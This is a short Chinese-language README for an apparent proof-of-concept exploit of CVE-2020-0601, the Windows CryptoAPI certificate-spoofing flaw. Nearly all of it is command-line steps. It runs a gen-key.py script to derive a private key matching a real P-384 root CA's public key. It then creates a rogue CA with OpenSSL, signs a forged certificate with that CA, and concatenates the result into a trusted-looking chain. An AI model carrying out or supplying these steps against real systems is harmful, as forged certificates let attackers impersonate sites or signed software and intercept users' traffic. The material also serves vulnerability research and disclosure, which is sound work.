CVE-2020-0601:Windows CryptoAPI 欺骗漏洞利用。更多信息请参阅我们的博客文章。
pip install -U -r requirements.txt
证书生成适用于最高 1.0.2u 版本的 OpenSSL。
我们使用了 USERTrust ECC Certification Authority,但也可以是任何基于 P-384 曲线的根证书。
为了生成与根证书公钥匹配的私钥,我们使用了脚本 gen-key.py(适用于 Python 3.6 及以上版本):
$ ./gen-key.py RootCert.pem
可以使用以下命令显示密钥:
$ openssl ec -in p384-key-rogue.pem -text
然后生成伪造 CA:
$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500
接着我们生成以下私钥和证书:
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
最后,为了将完整证书链放在单个文件中,我们将 CA 和服务器证书拼接:
cat client-cert.pem ca-rogue.pem > cert.pem